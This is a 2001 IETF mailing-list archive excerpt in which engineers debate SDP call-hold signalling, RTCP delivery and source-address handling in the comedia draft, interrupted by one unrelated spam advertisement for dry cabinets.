> > > that he returns in the 200 OK?
> >
> > Yes. From bis-03:
> >
> > If an offered media stream is listed as sendrecv (or contains no direction
> > attribute, in which case it is
> > sendrecv by default), the corresponding stream in the answer MAY be marked
> > as sendonly, recvonly, or
> > sendrecv.
> >
> > >
> > >
> > > 2) If I want to stop receiving media (put a call on hold) I
> > > send an SDP
> > > with c=0.0.0.0. However, I can still send media. In which
> > > address will I
> > > receive RTCP? Should the other party remember my previous c line on
> > > order to send me RTCP?
> >
> > Now, this is a really good question. Remembering the old IP address is a bad
> > thing, I think. There may not be one, and you really want each INVITE to
> > contain the full state for the media streams.
> >
> > At the moment, the result is that you won't get RTCP or media if you put
> > someone on hold, even if you are still sending media. This is not
> > catastrophic, but is not the right thing to do.
> >
> > There are a few options:
> >
> > 1. don't worry about this problem
> > 2. define an sdp attribute that indicates the address to receive rtcp
> > 3. define an alternate "hold" mechanism that, instead of setting the
> > connection IP to 0.0.0.0, simply sets the stream to sendonly and has some
> > additional attribute to convey "hold"
> >
> > Maybe there are others. The third approach is sort-of backwards compatible,
> > but won't work with clients that take explicit actions as a result of
> > realizing that the stream is on hold.
> >
> > -Jonathan R.
> > ---
> > Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> > Chief Scientist                             First Floor
> > dynamicsoft                                 East Hanover, NJ 07936
> > jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> > http://www.jdrosen.net                      PHONE: (973) 952-5000
> > http://www.dynamicsoft.com
> >
> > _______________________________________________
> > Sip mailing list  http://www.ietf.org/mailman/listinfo/sip
> > This list is for NEW development of the core SIP Protocol
> > Use sip-implementors@cs.columbia.edu for questions on current sip
> > Use sipping@ietf.org for new developments on the application of sip

From confctrl-owner  Fri Jun 29 08:00:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA29450
	for confctrl-outgoing; Fri, 29 Jun 2001 08:00:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA29424
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 08:00:01 -0700 (PDT)
Received: from exchange1.nuera.com (igate.nuera.com [204.216.240.98])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5TF06201076
	for <confctrl@isi.edu>; Fri, 29 Jun 2001 08:00:06 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2650.21)
	id <NYNR1FR2>; Fri, 29 Jun 2001 07:59:57 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72926@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Comedia Issues.
Date: Fri, 29 Jun 2001 07:59:54 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C100AC.28111E70"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C100AC.28111E70
Content-Type: text/plain;
	charset="iso-8859-1"


David Yon & myself where having offline discussions about the wording of how
the source information in the comedia draft may be used by applications.

The source information in the a=direction attribute is only used when two
applications are establishing logical bidirectional channels between them
(using two SDP complementary descriptions). The information encodes where a
connection will be originating from. 

Now existing SDP requires you to accept media from anywhere. I do not think
that comedia should be changing this. 

So I believe that the draft should be very clear that an application must
not enforce the source information supplied in the direction attribute when
accpeting connections and that this should only be used by residential
firewalls/NAT to open holes in the firewall (which was the reason the
information was originally added). This allows the RTP media to cross a
single (eg residential) NAT/firewall without modification or remapping of
the SDP fields - very useful! 

[Now David if I get your position wrong please correct me.] David believes
that the draft should not be so emphatic that the source information may not
be enforced by the application because in many cases there is no
NAT/firewall and thus gives a small amount of security to media. I realize
that many people want to solve the lack of security on RTP problems. Whilst
certain implementations may end up enforcing the information anyway,  the
draft should say that applications MAY NOT do this.

My reasons why it should not be inforced.
-	We are trying to preserve existing SDP behavior as much as possible
in comedia.
-	This enforcement prevents NAT/firewall traversal
-	This prevents early media. Ie, you won't be able to exchange media
until you have two SDP bodies.
-	This creates a race condition between signalling plane and the media
plane. The media may try to open a connection but it is refused because the
SDP with the source information has not been processed yet.
-	Source address information is easily spoofed anyway. 

So I am bringing this issue to the list. We would all like some RTP
"security" and I don't think comedia should change the model or you will
have all sorts of run-on effects (eg in SIP no early media or
music-on-hold). Thus, whilst the source information may be useful, I believe
the draft must be VERY SPECIFIC that an application MUST NOT enforce the
source information when accepting connections. Implementations may of course
decide to do so anyway but it should not encouraged in the draft.

I will be gone until Wednesdays so don't expect a reply from me until then.

Regards,

Robert.

------_=_NextPart_001_01C100AC.28111E70
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>Comedia Issues.</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">David Yon &amp; myself where having =
offline discussions about the wording of how the source information in =
the comedia draft may be used by applications.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The source information in the =
a=3Ddirection attribute is only used when two applications are =
establishing logical bidirectional channels between them (using two SDP =
complementary descriptions). The information encodes where a connection =
will be originating from. </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Now existing SDP requires you to =
accept media from anywhere. I do not think that comedia should be =
changing this. </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">So I believe that the draft should =
be</FONT><I> <FONT SIZE=3D2 FACE=3D"Arial">very clear</FONT></I><FONT =
SIZE=3D2 FACE=3D"Arial"> that an application must not enforce the =
source information supplied in the direction attribute when accpeting =
connections and that this should only be used by residential =
firewalls/NAT to open holes in the firewall (which was the reason the =
information was originally added). This allows the RTP media to cross a =
single (eg residential) NAT/firewall without modification or remapping =
of the SDP fields - very useful! </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">[Now David if I get your position =
wrong please correct me.] David believes that the draft should not be =
so emphatic that the source information may not be enforced by the =
application because in many cases there is no NAT/firewall and thus =
gives a small amount of security to media. I realize that many people =
want to solve the lack of security on RTP problems. Whilst certain =
implementations may end up enforcing the information anyway,&nbsp; the =
draft should say that applications MAY NOT do this.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">My reasons why it should not be =
inforced.</FONT>
<UL><UL>
<UL><LI><FONT SIZE=3D2 FACE=3D"Arial">We are trying to preserve =
existing SDP behavior as much as possible in comedia.</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">This enforcement prevents =
NAT/firewall traversal</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">This prevents early media. Ie, you =
won't be able to exchange media until you have two SDP =
bodies.</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">This creates a race condition between =
signalling plane and the media plane. The media may try to open a =
connection but it is refused because the SDP with the source =
information has not been processed yet.</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">Source address information is easily =
spoofed anyway. </FONT></LI>
<BR>
</UL></UL></UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">So I am bringing this issue to the =
list. We would all like some RTP "security" and I don't think comedia =
should change the model or you will have all sorts of run-on effects =
(eg in SIP no early media or music-on-hold). Thus, whilst the source =
information may be useful, I believe the draft must be VERY SPECIFIC =
that an application MUST NOT enforce the source information when =
accepting connections. Implementations may of course decide to do so =
anyway but it should not encouraged in the draft.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I will be gone until Wednesdays so =
don't expect a reply from me until then.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C100AC.28111E70--

From confctrl-owner  Fri Jun 29 12:36:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA13071
	for confctrl-outgoing; Fri, 29 Jun 2001 12:36:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA13047
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jun 2001 12:35:59 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5TJa4Q02954
	for <confctrl@ISI.EDU>; Fri, 29 Jun 2001 12:36:04 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id PAA12440;
	Fri, 29 Jun 2001 15:40:01 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <NY1KGBM7>; Fri, 29 Jun 2001 15:35:51 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C7F1@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Christer Holmberg
	 <christer.holmberg@lmf.ericsson.se>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'Gonzalo Camarillo'"
	 <Gonzalo.Camarillo@lmf.ericsson.se>,
        sip@ietf.org, mmusic
	 <confctrl@ISI.EDU>
Subject: RE: [Sip] Two SDP issues
Date: Fri, 29 Jun 2001 15:35:45 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Friday, June 29, 2001 9:58 AM
> To: Christer Holmberg
> Cc: Jonathan Rosenberg; 'Gonzalo Camarillo'; sip@ietf.org; mmusic
> Subject: Re: [Sip] Two SDP issues
> 
> 
> Since this seems to be turning into a discussion of problems with the
> existing means of representing Hold, let me add one more:
> 
> The c=0.0.0.0 mechanism for specifying hold doesn't work right for
> connection oriented media (the comedia I-P.) In reality it is another
> manifestation of the problem here with RTCP.

Right, good point.

> 
> Seems to me that if we were in a sendrecv session and I want 
> to put you
> on hold I should send SDP containing a:sendonly. If you 
> receive that and
> are happy with it then you should return a:recvonly. With 
> some kinds of
> transports it may be possible to also specify c=0.0.0.0 in 
> order to free
> up my transport resources for some other purpose, but that varies from
> case to case.
> 
> The situation is a little more complicated if the session is already
> oneway and the receiver wants to go on hold. I haven't worked that out
> yet.

I think that you need to have a hold attribute in addition to the sendonly
attribute since, as you say, the session may already be one way.

If we could ignore backwards compatibility, my preferred approach would be
to have an a=held attribute. If you want to put the stream on hold, you
re-INVITE with the sendonly attribute and add the a=held attribute to that
media. But, thats not going to be backwards compatible.

The only backwards compatible approach is to set the connection IP to
0.0.0.0, but include a held attribute that contains the actual IP address to
use:

a=hold 1.2.3.4

This will cause all the problems to be fixed when both sides support the new
attribute. When the answerer doesn't, you end up falling back to the current
hold mechanism. Ugly, and not my preference, but I see no other viable
alternative without sacrificing backwards compatibility.

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Sat Jun 30 03:24:08 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA15872
	for confctrl-outgoing; Sat, 30 Jun 2001 03:24:08 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA15867
	for <confctrl@zephyr.isi.edu>; Sat, 30 Jun 2001 03:24:07 -0700 (PDT)
Received: from ACER (h98.s49.ts31.hinet.net [163.31.49.98])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f5UANdH20226
	for <confctrl@isi.edu>; Sat, 30 Jun 2001 03:24:01 -0700 (PDT)
Message-Id: <200106301024.f5UANdH20226@gamma.isi.edu>
From: "Taiwan Dry Tech Corp." <lily524@ms65.hinet.net>
To: <confctrl@ISI.EDU>
Subject: Humidity & moisture problems in Hi-Tech industry
Mime-Version: 1.0
Content-Type: text/html; charset="big-5"
Date: Sat, 30 Jun 2001 18:05:10 +0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=big5">
<META NAME="Generator" CONTENT="Microsoft Word 97">
<TITLE>TAIWAN DRY TECH CORP.</TITLE>
<META NAME="keywords" CONTENT="matin ">
<META NAME="Template" CONTENT="C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\html.dot">
</HEAD>
<BODY LINK="#0000ff" VLINK="#800080" BGCOLOR="#ccecff">

<B><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4 COLOR="#ff0000"><P ALIGN="JUSTIFY">TO: R &amp; D/Humidity &amp; moisture problems in Hi-Tech industry</P>
</B></FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P ALIGN="JUSTIFY">         (</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>­«­n§Þ³N¸ê®Æ·ÐÂà¬ãµo³¡ªù°Ñ¾\</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>, </FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>ÁÂÁÂ</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>!)</P>
<B><P ALIGN="JUSTIFY">FROM: Taiwan Dry Tech Corp.</P>
</B></FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4 COLOR="#ff0000"><P ALIGN="JUSTIFY">¡@</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW">¡@</P>
</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P>Most Hi-Tech industries may have to resolve the following humidity &amp; moisture problems </FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡@</P>
<OL>

</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P ALIGN="JUSTIFY"><LI>Moisture absorption on precision joints (such as IC p¡¦k</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>electronic parts</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</LI></P>
</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P ALIGN="JUSTIFY">wafer</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>optical fiber</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>liquid crystal</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>PC board</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>quartz......) due to high </P>
<P>humidity will cause oxidation</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>cracking</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>void</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>bridge</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>rusting</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>peeling</P>
<P>etc. which seriously affect manufacturing quality &amp; yield.</P>
</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW"><LI>Moisture absorption by reagents</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>chemicals </FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>standards </FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>pure materials</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</LI>
</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P>prepreg.....etc. due to high humidity will change the properties &amp; affect </P>
<P>production or/&amp; inspection. </P>
<LI>Optical instrument such as microscopes</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>spectrometers</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>measuring gauges</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</LI>
</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P>lenses...etc. will be easily out of work due to high humidity</P>
<P ALIGN="JUSTIFY"><LI>Magnetic tapes</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>disk</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>slide</FONT><FONT FACE="²Ó©úÅé" LANG="ZH-TW" SIZE=4>¡B</FONT><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4>microfilm will deteriorate &amp; accidentally erase</LI></P></OL>
<DIR>

<P ALIGN="JUSTIFY">  data due to high humidity. </P></DIR>

<P ALIGN="JUSTIFY">¡@</P>
<P ALIGN="JUSTIFY">Taiwan Dry Tech, one of leading dry cabinet makers will assist you to resolve </P>
<P ALIGN="JUSTIFY">all above problems. For more details, please visit our website </FONT><A HREF="http://www.drytech.com.tw/"><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW">www.drytech.com.tw</FONT></A></P>
<FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4><P ALIGN="JUSTIFY">(English/Chinese) or contact us by email </FONT><A HREF="mailto:lily524@ms65.hinet.net"><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW">lily524@ms65.hinet.net</FONT></A><FONT FACE="·s²Ó©úÅé" LANG="ZH-TW" SIZE=4> </P>
<P ALIGN="JUSTIFY">¡@</P></FONT></BODY>
</HTML>

From confctrl-owner  Sun Jul  1 07:05:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA08718
	for confctrl-outgoing; Sun, 1 Jul 2001 07:05:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08713
	for <confctrl@zephyr.isi.edu>; Sun, 1 Jul 2001 07:05:55 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f61E60Q25126
	for <confctrl@ISI.EDU>; Sun, 1 Jul 2001 07:06:01 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yonhome [24.180.58.118])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id KAA11814;
	Sun, 1 Jul 2001 10:06:59 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010701091216.00abddc0@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sun, 01 Jul 2001 10:00:59 -0400
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: Re: Comedia Issues.
In-Reply-To: <E79883AEA37FD411A58C00508BAC5F4BD72926@exchange1.nuera.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below.

At 10:59 AM 6/29/2001, Fairlie-Cuninghame, Robert wrote:

>David Yon & myself where having offline discussions about the wording of 
>how the source information in the comedia draft may be used by applications.
>
>The source information in the a=direction attribute is only used when two 
>applications are establishing logical bidirectional channels between them 
>(using two SDP complementary descriptions). The information encodes where 
>a connection will be originating from.
>
>Now existing SDP requires you to accept media from anywhere. I do not 
>think that comedia should be changing this.
>
>So I believe that the draft should be very clear that an application must 
>not enforce the source information supplied in the direction attribute 
>when accpeting connections and that this should only be used by 
>residential firewalls/NAT to open holes in the firewall (which was the 
>reason the information was originally added). This allows the RTP media to 
>cross a single (eg residential) NAT/firewall without modification or 
>remapping of the SDP fields - very useful!
>
>[Now David if I get your position wrong please correct me.] David believes 
>that the draft should not be so emphatic that the source information may 
>not be enforced by the application because in many cases there is no 
>NAT/firewall and thus gives a small amount of security to media. I realize 
>that many people want to solve the lack of security on RTP problems. 
>Whilst certain implementations may end up enforcing the information 
>anyway,  the draft should say that applications MAY NOT do this.

My problem with this is that folks are reading too much into what the draft 
says.  It never, EVER says "enforce".  That is entirely outside the scope 
of what the source address is all about.  The point of the source 
address/port (SAP) is all about ENDPOINT IDENTIFICATION.

SAP is intended to address the topology there a TCP-based media endpoint is 
using the canonical TCP server style of accepting connections at a single 
port number.  The problem is that once you constrain the server to a single 
port, mapping connections to sessions becomes impossible without additional 
information.  There are two ways to solve this problem:

         a) Embed session identification information into the media stream, or
         b) Identify the session by the address/port of the remote endpoint.

Since (a) is incompatible with most media signalled by SDP, (b) is your 
only option.  That is the essence of why SAP is included in comedia.  It is 
"enforcement" only in the sense that certain topologies simply won't work 
unless SAP is signalled and is correct (i.e., not munged by N/PAT).

I suspect the fuss is about the topology that SAP was never intended to 
address: per-session, ephemeral TCP ports used at the server.  In this 
topology, SAP has no useful purpose whatsoever.  It is not necessary for 
session identification because the listening port has been reserved 
specifically for that session.  In the current state of the Internet (i.e., 
no SIP/SDP-aware ALP's) it provides no real leverage on residential 
gateways/firewalls.  Most N/PAT boxes pass outbound TCP connections 
today---SAP doesn't help or hinder that.  Firewalls will be just as 
difficult to get through, even more so in the ephemeral port topology 
because you can't pinhole a single TCP port.

So to address the ephemeral TCP port topology as it relates to SAP I 
suppose I can add a paragraph warning of the dangers of enforcement for 
that topology.  I submit that it is nonsensical to put apply such a warning 
to the fixed TCP port topology as it defeats the purpose of SAP.


>My reasons why it should not be inforced.
>    * We are trying to preserve existing SDP behavior as much as possible 
> in comedia.
>    * This enforcement prevents NAT/firewall traversal


As for NAT/firewall, I'll repeat my mantra: COMEDIA DOES NOT SOLVE THE 
NAT/FIREWALL ISSUE.  At the end of the day, you need an ALP to solve the 
problem.  Without an ALP, comedia does two things:

         - For fixed-port TCP servers, the firewall problem is easier to 
address, but this
           ends up breaking N/PAT (because the SAP is incorrect).

         - For ephemeral-port TCP servers, the N/PAT problem is solved, but 
this
           ends up breaking firewalls (because you can't open a single port 
pinhole).

What you really, really want is an ALP that both:

         (a) assists by managing dynamic pinholes in firewalls/NPATs, and
         (b) rewrites SDP to make the addresses and ports correct

In either the ephemeral or fixed-port topology, SAP certainly provides 
much-needed information to an ALP.  But the bottom line is you really that 
ALP to make the NPAT/firewall traversal seamless.

>    * This prevents early media. Ie, you won't be able to exchange media 
> until you have two SDP bodies.

I can't comment on early media as I haven't been following that in 
detail.  If correct, it sounds like early media is incompatible with 
fixed-port TCP servers.

>    * This creates a race condition between signalling plane and the media 
> plane. The media may try to open a connection but it is refused because 
> the SDP with the source information has not been processed yet.

The race condition issue raises a good point, although I'm not entirely 
convinced it is real.  I think in most sane media negotiations the side 
accepting the connection will already know the source information prior to 
connection setup.  In the case of SIP, this begs the question of whether it 
would be legal for the receiver of an INVITE to offer a direction:passive 
media line when the INVITE did not include a direction:both or 
direction:active line.

In either case, the problem is easily solved by having fixed-port TCP 
servers use a deferred-reject mechanism on inbound connections.  I.e., if 
an incoming connection occurs from an as-yet-unknown SAP, then the server 
needs to wait for some period in hopes that an ACK will arrive that 
contains the SAP of the unidentified connection.

>    * Source address information is easily spoofed anyway.
>
>
>So I am bringing this issue to the list. We would all like some RTP 
>"security" and I don't think comedia should change the model or you will 
>have all sorts of run-on effects (eg in SIP no early media or 
>music-on-hold). Thus, whilst the source information may be useful, I 
>believe the draft must be VERY SPECIFIC that an application MUST NOT 
>enforce the source information when accepting connections. Implementations 
>may of course decide to do so anyway but it should not encouraged in the draft.
>
>I will be gone until Wednesdays so don't expect a reply from me until then.
>
>Regards,
>
>Robert.


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jul  2 12:33:43 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id MAA06528
	for confctrl-outgoing; Mon, 2 Jul 2001 12:33:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA06523
	for <confctrl@zephyr.isi.edu>; Mon, 2 Jul 2001 12:33:42 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f62JXmQ10038
	for <confctrl@ISI.EDU>; Mon, 2 Jul 2001 12:33:48 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f62JXgO01806;
	Mon, 2 Jul 2001 21:33:42 +0200 (MEST)
Received: from lmf.ericsson.se (racom-sd-9.sd.us.am.ericsson.se [142.133.141.10])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id VAA06073;
	Mon, 2 Jul 2001 21:33:38 +0200 (MET DST)
Message-ID: <3B40CEAA.4A2228F6@lmf.ericsson.se>
Date: Mon, 02 Jul 2001 22:42:34 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'Paul Kyzivat'" <pkyzivat@cisco.com>,
        Christer Holmberg <christer.holmberg@lmf.ericsson.se>, sip@ietf.org,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [Sip] Two SDP issues
References: <B65B4F8437968F488A01A940B21982BF0128C7F1@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello Jonathan,

> Ugly, and not my preference, but I see no other viable
> alternative without sacrificing backwards compatibility.

In this situation, I believe we should have a clear idea of what we
understand by backwards compatibility. When a new feature is added, it
usually means that the addition of the new feature does not break all
the implementations that already work properly (but do not provide the
new feature).

However, in this scenario, there cannot be any implementation that works
properly right now. They just cannot send RTCP properly. Therefore, in
this situation, an elegant brand new mechanism might be acceptable. I do
not think that it would be a big deal to "break" current implementations
that do not work properly anyway.

Regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Jul  3 09:53:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA19041
	for confctrl-outgoing; Tue, 3 Jul 2001 09:53:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
